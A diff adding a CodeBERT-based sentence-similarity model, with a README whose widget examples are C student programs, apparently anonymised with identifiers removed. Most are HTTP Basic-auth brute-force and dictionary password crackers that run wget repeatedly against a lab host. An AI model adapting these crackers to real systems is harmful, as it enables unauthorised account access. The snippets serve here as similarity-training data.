Add new SentenceTransformer model

1_Pooling/config.json

@@ -0,0 +1,10 @@
+{
+    "word_embedding_dimension": 768,
+    "pooling_mode_cls_token": false,
+    "pooling_mode_mean_tokens": true,
+    "pooling_mode_max_tokens": false,
+    "pooling_mode_mean_sqrt_len_tokens": false,
+    "pooling_mode_weightedmean_tokens": false,
+    "pooling_mode_lasttoken": false,
+    "include_prompt": true
+}

README.md

@@ -0,0 +1,827 @@
+---
+tags:
+- sentence-transformers
+- sentence-similarity
+- feature-extraction
+- dense
+- generated_from_trainer
+- dataset_size:3081
+- loss:BatchAllTripletLoss
+base_model: microsoft/codebert-base
+widget:
+- source_sentence: "#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n\
+    #include <ctype.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n\
+    #include <strings.h>\n#include <string.h>\n#include <ctype.h>\n#include <sys/time.h>\n\
+    #define ant 1e9\n\nint ()\n{\nchar c[2],[3][2];\nregister int i,j,k,x,y,z,t,r,s,final,count=0;\n\
+    int starttime,endtime,totaltime; \nchar ch[5],ch1[5],ch2[5],s1[100],s2[100];\n\
+    c[0]='A',c[1]='a';\n[0][1]=[1][1]=[2][1]='\\0';\n\nstrcpy(s1, \"wget --http-user=\
+    \ --http-passwd=\");\n    strcpy(s2, \" http://sec-crack.cs.rmit.edu./SEC/2/\"\
+    );\n\nstarttime=time();\n\nfor(r=0;r<=1;r++)\n{\n\t\n\tfor(i=c[r],x=0;x<=25;x++,i++)\n\
+    \t{\n\t\t\n\t\t [0][0]=i;\n\t\t strcpy(ch,[0]);\n\n\n\t\tfor(s=0;s<=1;s++)\n\t\
+    \t{\n\t\t\tfor(j=c[s],z=0;z<=25;z++,j++)\n\t\t\t{\t\n\t\t\n\t\t\t\t[1][0]=j;\n\
+    \t\t\t\tstrcpy(ch1,[0]);\n\t\t\t\tstrcat(ch1,[1]);\n\n\t\t\t\tfor(t=0;t<=1;t++)\n\
+    \t\t\t\t{\n\t\t\t\t\tfor(k=c[t],y=0;y<=25;y++,k++)\n\t\t\t\t\t{\tcount++;\n\t\t\
+    \t\t\t\t[2][0]=k;\n\t\t\t\t\t\tstrcpy(ch2,ch1);\n\t\t\t\t\t\tstrcat(ch2,[2]);\n\
+    \t\t\t\t\t\tprintf(\"\\n  %s\",ch2);\n\n\n\n         strcat(s1, ch2);\n      \
+    \    strcat(s1, s2);\n\t  printf(\"\\n combination sent %s\\n\", s1);\n      \
+    \    final = system(s1);\n          if (final == 0)\n          {\n           \
+    \ endtime=time();\n\t\ttotaltime=(endtime-starttime);\n\t\t printf(\"count %d\"\
+    ,count);\n\t    printf(\"totaltime %1f\",(double)totaltime/ant);\n\t    printf(\"\
+    \\nsuccess %s\\n\",ch2);\n            exit(1);\n          }\n\n\n\t  strcpy(s1,\
+    \ \"\");\n\t  strcpy(s1, \"wget --http-user= --http-passwd=\");\n\n\n\t\t\t\t\
+    }\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t   }\n}\n\n}\n\n\n\n"
+  sentences:
+  - "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include\
+    \ <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\
+    #include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include\
+    \ <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE\
+    \ 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE  1\n#define\
+    \ FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK            200\n#define\
+    \ STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED          2\n\n\nchar *host;\n\
+    char *filename;\nint  ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in\
+    \ serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\n\
+    void printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint\
+    \ openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char\
+    \ *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const\
+    \ unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char\
+    \ *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n\
+    {\n    char password[PASSWORD_LENGTH+1];\n    int i;\n\n    \n\n    attempt =\
+    \ 0;\n    processArguments(argc, argv, &url, &username);\n    splitURL(url, &host,\
+    \ &filename);\n\n    initialiseConnection();\n     = openConnection();\n\n   \
+    \ \n\n    for (i=1; i<=PASSWORD_LENGTH; i++)\n    {\n        memset(password,\
+    \ 0, PASSWORD_LENGTH+1);\n        generatePassword(password, i);\n    }\n\n  \
+    \  printf(\"The password has not been cracked\\n\");\n    exit(RETURN_OK);\n\n\
+    }\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n    static\
+    \ const char *chars = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\
+    ;\n\n    int currLength;\n    int i;\n\n    currLength = strlen(password);\n \
+    \   currLength++;\n\n    for (i=0; i<strlen(chars); i++)\n    {\n        password[currLength-1]\
+    \ = chars[i];\n\n        if (strlen(password) != reqLength)\n        {\n     \
+    \      \n           generatePassword(password, reqLength);\n        }\n      \
+    \  else\n        {\n           testPassword(password);\n        }\n\n        password[currLength]\
+    \ = '\\0';\n    }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n    int status;\n\
+    \n    attempt++;\n\n    \nTestPassword:\n    sendRequest(, host, filename, username,\
+    \ password);\n    status = getResponseStatus();\n\n    if (status == STATUS_OK)\n\
+    \    {\n        printf(\"The password has been found after %d attempts: %s\\n\"\
+    ,\n               attempt, password);\n        exit(RETURN_OK);\n    }\n    else\
+    \ if (status == CONN_CLOSED)\n    {\n        \n        ();\n         = openConnection();\n\
+    \        goto TestPassword;        \n    }\n    else if (status != STATUS_AUTH_REQUIRED)\n\
+    \    {\n        printf(\"Status %d received from server\\n\", status);\n     \
+    \   exit(RETURN_ERROR);\n    }\n\n}\n\n\n\n\nvoid processArguments(int argc, char\
+    \ *argv[], char **url, char **username)\n{\n    if (argc != 3)\n    {\n      \
+    \  printUsage(argv[0]);\n        exit(1);\n    }\n\n    *url = (char *) malloc(strlen(argv[1]\
+    \ + 1));\n    strcpy(*url, argv[1]);\n\n    *username = (char *) malloc(strlen(argv[2]\
+    \ + 1));\n    strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char\
+    \ *program)\n{\n    fprintf(stderr, \"Usage:\\n\");\n    fprintf(stderr, \"%s\
+    \ url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char\
+    \ **host, char **file)\n{\n    char *p1; \n    char *p2;\n\n    \n    p1 = strstr(url,\
+    \ \"//\");\n    if (p1 == NULL)\n        p1 = (char *) url;\n    else\n      \
+    \  p1 = p1 + 2;\n\n    \n    p2 = strstr(p1, \"/\");\n    if (p2 == NULL)\n  \
+    \  {\n        fprintf(stderr, \"Invalid url\\n\");\n        exit(RETURN_ERROR);\n\
+    \    }\n\n    *host = (char *) malloc(p2-p1+2);\n    strncpy(*host, p1, p2-p1);\n\
+    \    (*host)[p2-p1] = '\\0';\n\n    *file = (char *) malloc(strlen(p2+1));\n \
+    \   strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename,\
+    \ char *username, \n                 char *password)\n{\n    char message[BUFFER_SIZE];\n\
+    \    unsigned char encoded[BUFFER_SIZE];\n    unsigned char token[BUFFER_SIZE];\n\
+    \n    \n\n    \n    sprintf((char *) token, \"%s:%s\", username, password);\n\
+    \    base64_encode(token, encoded);\n\n    sprintf(message, \"GET %s HTTP/1.1\\\
+    nHost: %s\\nAuthorization:  %s\\n\\n\",\n            filename, host, encoded);\n\
+    \n    if (write(, message, strlen(message)) == -1)\n    {\n        perror(\"\"\
+    );\n        exit(RETURN_ERROR);\n    }\n}\n\n\n\n\nint getResponseStatus()\n{\n\
+    \    char message[BUFFER_SIZE];\n    int  bytesRead;\n    char *p1;\n    char\
+    \ status_str[4];\n    int  status;\n\n    \n\n    while (TRUE)\n    {\n      \
+    \  bytesRead = (, message, BUFFER_SIZE-1);\n        if (bytesRead == -1)\n   \
+    \     {\n            perror(\"\");\n            exit(RETURN_ERROR);\n        }\n\
+    \        else if (bytesRead == 0)\n        {\n            \n            return\
+    \ CONN_CLOSED;\n        }\n\n        message[bytesRead+1] = '\\0';\n\n       \
+    \ \n        p1 = strstr(message, \"HTTP\");\n        if (p1 != NULL)\n       \
+    \ {\n            p1 = p1 + 9;\n            break;\n        }\n    }\n\n    strncpy(status_str,\
+    \ p1, 3);\n    status_str[3] = '\\0';\n    status = atol(status_str);\n\n    return\
+    \ status;\n}\n\n\n\n\nint openConnection()\n{\n    int ;\n\n    if (( = socket(AF_INET,\
+    \ SOCK_STREAM, 0)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n\
+    \    }\n\n    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr))\
+    \ == -1)\n    {\n        perror(\"connect\");\n        exit(RETURN_ERROR);\n \
+    \   }\n\n    return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n    struct hostent\
+    \ *serverHostent;\n    unsigned  serverIP;\n    char errorMsg[BUFFER_SIZE]; \n\
+    \n\n    \n\n    memset(&serverAddr, 0, sizeof(serverAddr));\n    serverAddr.sin_port\
+    \ = htons(80);\n\n\n    if ((serverIP = inet_addr(host)) != -1)\n    {\n     \
+    \   serverAddr.sin_family = AF_INET;\n        serverAddr.sin_addr.s_addr = serverIP;\n\
+    \    }\n    else if ((serverHostent = gethostbyname(host)) != NULL)\n    {\n\t\
+    serverAddr.sin_family = serverHostent->h_addrtype;\n        memcpy((void *) &serverAddr.sin_addr,\n\
+    \t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n    }\n    else\n\
+    \    {\n       getHostErrorMsg(errorMsg);\n       printf(\"%s: %s\\n\", host,\
+    \ errorMsg);\n       exit(RETURN_ERROR);\n    }\n}\n\n\n\n \nvoid base64_encode(const\
+    \ unsigned char *input, unsigned char *output)\n{\n    static const char *codes\
+    \ = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\
+    ;\n\n    int i;\n    int len;\n    int lenfull;\n    unsigned char *p;\n    int\
+    \ a;\n    int b;\n    int c;\n    \n    p = output;\n    len = strlen((char *)\
+    \ input);\n\n    \n\n    lenfull = 3*(len / 3);\n    for (i = 0; i < lenfull;\
+    \ i += 3) \n    {\n        *p++ = codes[input[0] >> 2];\n        *p++ = codes[((input[0]\
+    \ & 3) << 4) + (input[1] >> 4)];\n        *p++ = codes[((input[1] & 0xf) << 2)\
+    \ + (input[2] >> 6)];\n        *p++ = codes[input[2] & 0x3f];\n        input +=\
+    \ 3;\n    }\n\n\n    \n\n    if (i < len)\n    {\n        a = input[0];\n    \
+    \    b = (i+1 < len) ? input[1] : 0;\n        c = 0;\n\n        *p++ = codes[a\
+    \ >> 2];\n        *p++ = codes[((a & 3) << 4) + (b >> 4)];\n        *p++ = (i+1\
+    \ < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n        *p++ = '=';\n  \
+    \  }\n\n    \n    *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n\
+    {\n    switch (h_errno)\n    {\n         HOST_NOT_FOUND :\n             strcpy(message,\
+    \ \"The specified host is unknown\");\n             break;\n\n         NO_DATA:\n\
+    \             strcpy(message, \"The specified host name is valid, but does not\
+    \ have   address\");\n             break;\n\n         NO_RECOVERY:\n         \
+    \    strcpy(message, \"A non-recoverable name server error occurred\");\n    \
+    \         break;\n\n         TRY_AGAIN:\n             strcpy(message, \"A temporary\
+    \ error occurred   authoritative name server. Try again later.\");\n         \
+    \    break;\n\n        default:\n             strcpy(message, \" unknown name\
+    \ server error occurred.\");\n    }\n}\n\n"
+  - "# include <stdlib.h>\n# include <stdio.h>\n# include <strings.h>\n\n\nint ()\n\
+    {\n\t\n\tFILE* fpp;\t\t\t\t\t\t\t\t\t\t\n\tFILE* fp;\n\t\t\t\n\tchar s[100];\n\
+    \tint i;\n\t\n\twhile(1)\t\t\t\t\t\t\t\t\t\t\n\t{\n\t\tsystem(\"wget -nv http://www.cs.rmit.edu./students\"\
+    );\t\t\t\t\n\t\t\n\t\ti=0;\t\t\n\t\t\n\t\tfp = fopen(\"dummyindex.txt\",\"r\"\
+    );\n\t\t\n\t\tif(fp == (FILE*) NULL)\t\t\t\t\t\t\t\t\n\t\t{\n\t\t\tprintf(\" is\
+    \  previously saved webpage in the file\\n\");\n\t\t\ti=1;\n\t\t\tfp = fopen(\"\
+    dummyindex.txt\",\"w\");\n\n\t\t}\n\t\t\t\t\n\t\tfclose(fp);\n\t\t\n\t\t\t\t\n\
+    \t\t\n\t\t\n\t\t\n\t\tsystem(\"diff index.html dummyindex.txt > compareoutput.txt\"\
+    );\t\t\n\n\t\t\t\t\n\t\tif(fpp != (FILE*) NULL)\t\n\t\t{\n\t\t\t\n\t\t\tfpp =\
+    \ fopen(\"compareoutput.txt\",\"r\");\t\t\t\t\t\n\t\t\t\n\t\t\tfgets(s,100,fpp);\t\
+    \t\t\t\t\t\t\n\t\t\t\n\t\t\tfclose(fpp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t   \n\
+    \t\t\tif((strlen(s)>0) && i==0)\t\t\t\t\t\t\t\t\n\t\t\t{\n\t\t\t\tsystem(\"mail\
+    \ @cs.rmit.edu. < compareoutput.txt\");\t\n\t\t\t\tsystem(\"cp index.html dummyindex.txt\"\
+    );\t\t\t\t\n\t\t\t\tprintf(\"Message has been sent\\n\");\t\t\t\t\n\t\t\t}\n\t\
+    \t\telse\n\t\t\t\tprintf(\" is  change in the \\n\");\t\t\t\n\t\t}\n\t\t\n\t\t\
+    \n\n\t\tsystem(\"rm index.html\")\t;\t\t\t\t\n\t\t\n\t\tsleep(86400);\t\t\t\t\t\
+    \t\t\t\t\n\t}\n\t\t\t\t\n\treturn 1;\n}\n"
+  - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\
+    #include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{   int startTime, stopTime,\
+    \ final;\n    int i,j,k;\n    FILE* fp;\n    int pass,len;\n    int count = 0;\n\
+    \    char [50];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n\
+    \    fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n    while (fp !='\\0')\n\
+    \     {\n       fgets( ,50,fp);\n\n       len = strlen();\n       [strlen()-1]\
+    \ ='\\0';\n\n       if(len <= 4)\n       {\n         count++;\n\t     printf(\"\
+    Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\"\
+    );\n\t     strcat(url1,);\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\
+    \ \");\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t    if (pass\
+    \ == 0)\n\t    {\n\t      stopTime = time();\n          final = stopTime-startTime;\n\
+    \t      printf(\"\\n SUCCESS\\n\");\n\t      printf(\"The password for the user\
+    \  : %s\\n \",);\n\t      printf(\"Found the password in %lld nanoseconds (%1f\
+    \ seconds) \\n\",final,(double)final/OneBillion);\n\t       printf(\"Number of\
+    \ attempts : %d\\n\",count);\n          exit(1);\n\t }\n        }\n       }\n\n\
+    \ }\n"
+- source_sentence: "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n\
+    #include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar\
+    \ a[100];\nint count=0;\nchar ch;\nchar line[100];\nchar filename[50];\nchar *token;\n\
+    const char delimiter[]=\" \\n.,;:!-\";\nFILE *fp;\nint  total_time,start_time,end_time;\n\
+    start_time = time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"\
+    r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n\
+    {\n        token=strtok(line,delimiter); \n        while(token!=NULL)\n      \
+    \          {\n            count++;\n\t    printf(\"ATTEMPT : %d\\n\",count);\n\
+    strcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\"\
+    );\n                strcat(a,token);                \n                printf(\"\
+    The request %s\\n\",a); \n                if(system(a)==0)\n\t\t{\n\t\tprintf(\"\
+    Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"\
+    ************************************************************\\n\");\n\t\tprintf(\"\
+    Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n\
+    \                end_time = time();\n                total_time = (end_time -start_time);\n\
+    \                total_time /= 1000000000.0;\n                printf(\"The Time\
+    \ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n              \n\
+    \                token=strtok(NULL,delimiter);\n                \n           \
+    \      }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n"
+  sentences:
+  - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\
+    \t\t\t\t  \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\
+    \n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\
+    #define MAX_CHAR_SET 52\n\n#define TRUE 1\n#define FALSE 0\n\n\n\n\n\n\n\n\ntypedef\
+    \ int (*CrackFuncPtr)(const char*, const char*);\n\nint runBruteForce(const char\
+    \ chSet[], int numOfCh, int len, CrackFuncPtr func);\nchar* initPasswdStr(int\
+    \ len, char ch);\nint getChPos(const char chSet[], int numOfCh, char ch);\nint\
+    \ pow(int x, int y);\nint crackHTTPAuth(const char *username, const char *passwd);\n\
+    \nint ()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\
+    \ 'J', 'K',\n\t\t\t\t\t\t\t'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\
+    \ \n\t\t\t\t\t\t\t'W', 'X', 'Y', 'Z',\n\t\t\t\t\t\t\t'a', 'b', 'c', 'd', 'e',\
+    \ 'f', 'g', 'h', 'i', 'j', 'k',\n\t\t\t\t\t\t\t'l', 'm', 'n', 'o', 'p', 'q', 'r',\
+    \ 's', 't', 'u', 'v', \n\t\t\t\t\t\t\t'w', 'x', 'y', 'z'};\n\t\n\tchar charSetS[]\
+    \ = {'A', 'B', 'C'};\n\n\tint i; \n\t\n\tfor (i=1; i<=MAX_PASSWD_LEN; i++)\n\t\
+    {\n\t\tif (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))\n\t\t{\n\t\t\
+    \treturn 0;\n\t\t}\n\t}\n\n\tprintf(\"\\n...password not found\\n\");\t\t\t\t\t\
+    \t\t \t\n\treturn 0;\n}\n\nint runBruteForce(const char chSet[], int numOfCh,\
+    \ int len, CrackFuncPtr func)\n{\n\tint iter; \n\tint chIter; \n\tint curPos =\
+    \ 0; \n\t\n\tchar *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len,\
+    \ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\n\tfor\
+    \ (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)\n\t{\n\t\tfor (chIter=len-1;\
+    \ chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh, chIter) == 0) \n\t\
+    \t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\t\t\t\tstr[chIter]\
+    \ = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh, (chIter+1)) ==\
+    \ 0) \n\t\t\t{\n\t\t\t\tstr[chIter] = chSet[0];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif\
+    \ (func(USERNAME, str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\", str);\n\
+    \t\t\tpasswdFound = TRUE;\n\t\t}\n\n\t\t\n\t\tprintf(\".\");\n\t\t\t\t\t\n\t}\n\
+    \n\t(str);\n\tstr = NULL;\n\n\treturn passwdFound;\n}\n\nint getChPos(const char\
+    \ chSet[], int numOfCh, char ch)\n{\n\tint i;\n\t\n\tfor (i=0; i<numOfCh; i++)\n\
+    \t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n\
+    \t\n}\n\nchar* initPasswdStr(int len, char ch)\n{\n\tint i;\n\n\tchar *str;\n\n\
+    \tstr = malloc(len);\n\n\tif (str)\n\t{\n\t\tfor (i=0; i<len; i++)\n\t\t{\n\t\t\
+    \tstr[i] = ch;\n\t\t}\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr,\
+    \ \"\\nError: Unable  allocate %d bytes memory.\");\n\t\texit(1);\n\t}\n\t\n\t\
+    return str;\n}\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\t\n\tfor (i=0;\
+    \ i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\nint crackHTTPAuth(const\
+    \ char *username, const char *passwd)\n{\n\tchar cmd[256];\n\tstruct stat fileInfo;\n\
+    \t\n\tsprintf(cmd, \"wget -O  -q --http-user=%s --http-passwd=%s --proxy=off %s\"\
+    , \n\t\t\t\t\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\n\t(void)stat(\"\
+    \", &fileInfo); \n\n\treturn fileInfo.st_size;\n\t\n}\n\n"
+  - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\
+    #include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{   int startTime, stopTime,\
+    \ final;\n    int i,j,k;\n    FILE* fp;\n    int pass,len;\n    int count = 0;\n\
+    \    char [50];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n\
+    \    fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n    while (fp !='\\0')\n\
+    \     {\n       fgets( ,50,fp);\n\n       len = strlen();\n       [strlen()-1]\
+    \ ='\\0';\n\n       if(len <= 4)\n       {\n         count++;\n\t     printf(\"\
+    Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\"\
+    );\n\t     strcat(url1,);\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/\
+    \ \");\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t    if (pass\
+    \ == 0)\n\t    {\n\t      stopTime = time();\n          final = stopTime-startTime;\n\
+    \t      printf(\"\\n SUCCESS\\n\");\n\t      printf(\"The password for the user\
+    \  : %s\\n \",);\n\t      printf(\"Found the password in %lld nanoseconds (%1f\
+    \ seconds) \\n\",final,(double)final/OneBillion);\n\t       printf(\"Number of\
+    \ attempts : %d\\n\",count);\n          exit(1);\n\t }\n        }\n       }\n\n\
+    \ }\n"
+  - "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\
+    #include <sys/time.h>\n\nint ()\n{\n char lc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
+    ;\n char uc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n char\
+    \ gc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n int a=0,b=0,c=0,d,e,count=0;\n\
+    \ char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];\n\
+    \ char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;\n \n int  ,end,t;\n  =\
+    \ time(); \nwhile(sizeof(lc)!=52)\n{\n     temp2[0]=lc[d];\n     temp2[1]='\\\
+    0';\n     d=d+1;\n     strcpy(p,temp2);\n   \n   while(sizeof(uc)!=52)\n   {\n\
+    \      temp3[0]=uc[b];\n      temp3[1]='\\0';\n      b=b+1;\n      strcpy(q,p);\n\
+    \      strcat(q,temp3);\n    for(e=0;e<52;e++)\n    {\n        temp1[0]=gc[e];\n\
+    \ttemp1[1]='\\0';\n\tstrcpy(r,q);\n\tstrcat(r,temp1);\n       strcpy(mx,\"wget\
+    \ http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=\");\n      \
+    \ strcat(mx,r);\n       printf(\"temp3=%s\\n\",mx);\n       if(system(mx)==0)\n\
+    \       { \n         printf(\"Password=%s\\n\",mx);\n\t printf(\"%d \\n\",count);\n\
+    \t end = time();\n         t = (end -);\n         t /= 1000000000.0;\n       \
+    \  printf(\"The total time_var taken is:%llds\\n\",t);\n\t exit(1);\n       \n\
+    \       }\n      }\n     }\n }\n return 0;\n}\n"
+- source_sentence: "\n\n\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n\
+    #include<strings.h>\n#include<sys/types.h>\n#include<sys/times.h>\n#include<sys/time.h>\n\
+    #include<unistd.h>\n\nint ()\n{\n  char url[80];\n  char syscom[]= \"wget -nv\
+    \ --http-user= --http-passwd=\";\n  char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
+    ;\n  char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n  char\
+    \ username[8];\n  char pass[4];\n  int i,j,k,hack=1;\n  int attempt = 1;\n  int\
+    \ , end, time_var;\n\n   = time();\n  for ( i = 0 ;i<strlen();i++)\n    {\n  \
+    \    pass[0]=[i];\n      for( j = 0 ;j<strlen();j++)\n        {\n          pass[1]=[j];\n\
+    \          for ( k = 0 ;k<strlen();k++)\n             {\n               fflush(stdin);\n\
+    \               pass[2]=[k];\n               pass[3]='\\0';\n               printf(\"\
+    %s\\n\",pass);\n\n               sprintf(url,\"%s%s %s\",syscom,pass,http);\n\
+    \               hack = system(url);\n               attempt++;\n             \
+    \  if (hack == 0)\n               {\n                  end = time();\n       \
+    \           time_var = (end-);\n                  printf(\"\\nbr\tThe password\
+    \ is :%s\",pass);\n                  printf(\"\\nNo. of Attempts   crack the password\
+    \ :%d\",attempt);\n                  printf(\"\\nTime taken  crack the password\
+    \ = %lld sec\\n\",time_var/1000000000);\n                  exit(1);\n        \
+    \        }\n              }\n          }\n      }\n }\n\n"
+  sentences:
+  - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\
+    #include<sys/time.h>\n\n()\n{\n\tint i,m,k,count=0;\n\tFILE* diction;\n\tFILE*\
+    \ log;\n\tchar s[30];\n\tchar pic[30];\n\tchar add[1000];\n\tchar end[100];\n\t\
+    time_t ,finish;\n\tdouble ttime;\n\t\n\tstrcpy(add,\"wget --http-user= --http-passwd=\"\
+    );\n\tstrcpy( end,\"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/\");\n\tdiction=fopen(\"\
+    /usr/share/lib/dict/words\",\"r\");\n\t=time(NULL);\n\twhile(fgets(s,100,diction)!=NULL)\t\
+    \n\t{\t\n\t\tprintf(\"%s\\n\",s);\n\t\tfor(m=40,k=0;k<(strlen(s)-1);k++,m++)\n\
+    \t\t{\n\t\t\tadd[m]=s[k];\n\t\t}\n\t\tadd[m++]=' ';\n\t\tfor(i=0;i<50;i++,m++)\n\
+    \t\t{\n\t\t\tadd[m]=end[i];\n\t\t}\n\t\tadd[m]='\\0';\n\t\t\n\t\tsystem(add);\n\
+    \t\tcount++;\n\t\tlog=fopen(\"logd\",\"r\");\n\t\tfgets(pic,100,log);\n\t\tprintf(\"\
+    %s\",pic);\n\t\tif(strcmp(pic,\"Authorization failed.\\n\")!=0)\t\n\t\t{\n\t\t\
+    \tfinish=time(NULL);\n\t\t\tttime=difftime(,finish);\n\t\t\tprintf( \"\\n The\
+    \ time_var take:%f/n The  of passwords tried is %d\\n\",ttime,count);\n\t\t\t\
+    break;\n\t\t}\n\t\tfclose(log);\n\t}\n\n}\n"
+  - "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
+    \n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n   int i, cnt, flag;\n\
+    \   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \
+    \  char fin;\n   \n   strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\
+    );\n   strcpy(string2,\" --http-user= --http-passwd='\");\n   strcpy(,\"\");\n\
+    \n   while ((fin = fgetc(fp)) != EOF)\n   {\n      cnt = 0;\n      \n      for\
+    \ (i=0;i<MAX_SIZE;i++)\n      {   \n         passwd[i] = '\\0';\n         [i]\
+    \ = '\\0';\n      }\n\t \n      while(fin != '\\n')\n      {\n\t passwd[cnt] =\
+    \ fin;\n\t cnt++;\n\t fin = fgetc(fp);\n      } \n         \n      if(strlen(passwd)\
+    \ <= 3)\n      {\n         strcat(, string1);\n         strcat(, string2);\n\t\
+    \ strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\\
+    n\",);\n\t flag = system();\n\t  \n         if (flag == 0)\n\t {\n           \
+    \ printf(\"\\nPassword is %s\\n\",passwd);\n\t    return 1;\n\t }\n         \n\
